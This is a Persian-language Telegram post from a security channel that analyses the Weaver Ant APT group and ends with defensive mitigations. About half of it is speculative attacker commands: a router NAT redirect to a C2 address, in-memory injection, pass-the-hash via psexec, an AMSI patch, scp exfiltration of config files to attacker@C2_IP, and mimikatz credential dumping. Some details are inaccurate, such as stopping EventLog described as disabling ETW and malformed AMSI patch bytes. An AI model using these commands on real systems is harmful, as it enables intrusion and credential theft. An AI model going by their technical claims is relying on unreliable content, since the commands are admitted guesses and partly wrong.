P.F.K Security on Telegram: “تحلیل حمله APT گروه Weaver Ant: 1. روش‌های نفوذ…”

تحلیل حمله APT گروه Weaver Ant:

1. روش‌های نفوذ و تداوم حضور (TTPs):

الف. استفاده از روترهای Zyxel CPE به‌عنوان نقاط رله (ORB):

دستورهای احتمالی مهاجم:

        bash

        # تغییر تنظیمات روتر برای ایجاد پروکسی مخفی
        iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination <C2_IP>:80

        هدف: مخفی کردن ترافیک C2 در ترافیک عادی شبکه.

    ب. استقرار وب‌شل‌های چندلایه (China Chopper + INMemory):

        دستورهای احتمالی:

        powershell
        # اجرای پیلود در حافظه (JIT) با استفاده از PowerShell
        Invoke-ReflectivePEInjection -DLLPath eval.dll -FunctionName "MaliciousEntry"

        هدف: فرار از تشخیص آنتی‌ویروس با عدم ذخیره فایل روی دیسک.

    ج. تونل‌زنی وب‌شل‌ها (Shell Tunneling):

        دستورهای احتمالی:

        bash
        # انتقال ترافیک از طریق وب‌شل‌های زنجیره‌ای
        curl -X POST -H "Cookie: SessionID=Hacked" --data "payload=<encrypted>" http://InternalServer/transfer

        هدف: ایجاد ارتباط پنهان بین سرورهای داخلی.

2. حرکت جانبی (Lateral Movement):

    الف. سوءاستفاده از SMB و NTLM هش:

        دستورهای احتمالی:

        bash
        # استفاده از Pass-the-Hash برای دسترسی به سیستم‌های دیگر
        psexec.py -hashes :<NTLM_Hash> administrator@10.0.0.2

        هدف: گسترش دسترسی بدون نیاز به رمز عبور .

    ب. استفاده از حساب‌های با دسترسی بالا:

        دستورهای احتمالی:

        powershell
        # جستجوی حساب‌های مدیر سیستم
        Get-WmiObject -Class Win32_UserAccount | Where-Object {$_.SID -like "S-1-5-21-*500"}

        هدف: افزایش دسترسی ها برای دسترسی به داده‌های حساس.

3. جمع‌آوری داده‌ها و فرار از تشخیص:

    الف. غیرفعال کردن ETW و AMSI:

        دستورهای احتمالی:

        powershell

        # توقف سرویس ETW
        Stop-Service -Name "EventLog" -Force
        # بازنویسی تابع AMSI
        [IntPtr]$amsiScanBufferAddr = Get-ProcAddress (Get-Module amsi.dll) "AmsiScanBuffer"
        $patch = [Byte[]] (0xC3, 0x80, 0x07, 0x00)
        [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $amsiScanBufferAddr, 4)

        هدف: جلوگیری از ثبت فعالیت‌های مخرب.

    ب. سرقت فایل‌های پیکربندی و اعتبارنامه‌ها:

        دستورهای احتمالی:

        bash

        # کپی کردن فایل‌های تنظیمات شبکه
        scp /etc/network/interfaces attacker@C2_IP:/stolen_data
        # استخراج اعتبارنامه‌ها از حافظه
        mimikatz.exe "sekurlsa::logonpasswords" "exit"

        هدف: نقشه‌برداری از شبکه و دسترسی به سیستم‌های کلیدی.

4. روش‌های عملی برای دفاع (Mitigation):

    الف. نظارت بر روترهای Zyxel CPE:

        بررسی لاگ‌های دسترسی غیرعادی به پورت‌های مدیریتی.

        به‌روزرسانی فریم‌ور روترها برای رفع آسیب‌پذیری‌ها.

    ب. محدود کردن دسترسی SMB و NTLM:

        فعال‌سازی احراز هویت چندعاملی (MFA) برای حساب‌های حساس.

        غیرفعال کردن NTLM و استفاده از Kerberos.

    ج. نظارت بر فعالیت‌های غیرعادی در حافظه:

        استفاده از ابزارهایی مانند Sysmon برای ردیابی تزریق کد (Code Injection).

        مانیتورینگ فراخوانی توابع eval.dll یا ماژول‌های ناشناخته.

    د. جداسازی شبکه (Network Segmentation):

        محدود کردن ارتباط بین سرورهای داخلی و اینترنت با فایروال.

        استفاده از میکروسگمنتیشن برای کنترل ترافیک شرکتی.

نتیجه‌گیری:

    Weaver Ant
یک APT پیشرفته با تمرکز بر جاسوسی بلندمدت است که از تکنیک‌های زیر استفاده می‌کند:

        پنهان‌سازی ترافیک در دستگاه‌های شبکه (روترهای Zyxel).

        اجرای کد در حافظه (JIT) برای فرار از تشخیص.

        حرکت جانبی با سوءاستفاده از اعتبارنامه‌های ضعیف.

    راهکار دفاعی: ترکیبی از نظارت پیشرفته (EDR/XDR)، حذف اعتبارنامه‌های قدیمی، و به‌روزرسانی مداوم سیستم‌ها.

@PfkSecurity